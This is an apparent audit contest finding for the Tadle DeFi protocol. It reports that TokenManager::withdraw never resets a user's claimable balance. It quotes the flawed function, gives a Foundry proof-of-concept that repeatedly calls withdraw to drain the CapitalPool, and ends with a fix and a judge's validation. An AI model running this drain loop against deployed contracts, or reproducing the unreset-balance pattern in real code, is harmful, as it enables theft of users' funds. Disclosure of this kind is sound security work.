Tadle

Tadle
DeFiFoundry
27,750 USDC
View results
Submission Details
Severity: high
Valid

`TokenManager::withdraw` does not reset claimableAmount after a withdrawal, causing the user to be able to withdraw the same funds as many times as desired

Summary

TokenManager::withdraw Needed to allow the user to withdraw funds for purchases/commissions from the protocol. However, the protocol does not reset the amount of funds available for withdrawal after withdrawal, which means that the user can re-enter the function an unlimited number of times until they have withdrawn all funds from the protocol.

function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
if (claimAbleAmount == 0) {
return;
}
address capitalPoolAddr = tadleFactory.relatedContracts(
RelatedContractLibraries.CAPITAL_POOL
);
if (_tokenAddress == wrappedNativeToken) {
/**
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount);
} else {
/**
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
}

Vulnerability Details

POC which shows what the user can output as long as the protocol has enough tokens

function test_withdrawExploit() public {
vm.prank(user);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
vm.prank(user1);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
vm.prank(user2);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
vm.prank(user3);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
capitalPool.approve(address(mockUSDCToken));
vm.startPrank(user1);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
100 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
vm.startPrank(user2);
address offerAddr = GenerateAddress.generateOfferAddress(0);
preMarktes.createTaker(offerAddr, 500);
// Now user1 eligible for 50 tokens
vm.startPrank(user3);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
100 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
vm.startPrank(user);
offerAddr = GenerateAddress.generateOfferAddress(2);
preMarktes.createTaker(offerAddr, 500);
// now user3 also eligible for 50 tokens
vm.startPrank(user1);
while(mockUSDCToken.balanceOf(address(capitalPool)) >= 50e18) {
console.log("Protocol balance:", mockUSDCToken.balanceOf(address(capitalPool)));
console.log("User balance:", mockUSDCToken.balanceOf(address(user1)));
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
}
}

Impact

Almost any user who can make their claimableValue != 0 (just sell themselves at least 1 point) will be able to withdraw the entire balance of the protocol.

Severity: critical

Tools Used

Manual review

Recommendations

Reset the claimableValue before withdraw

userTokenBalanceMap[_msgSender()][ _tokenAddress][_tokenBalanceType] = 0
Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.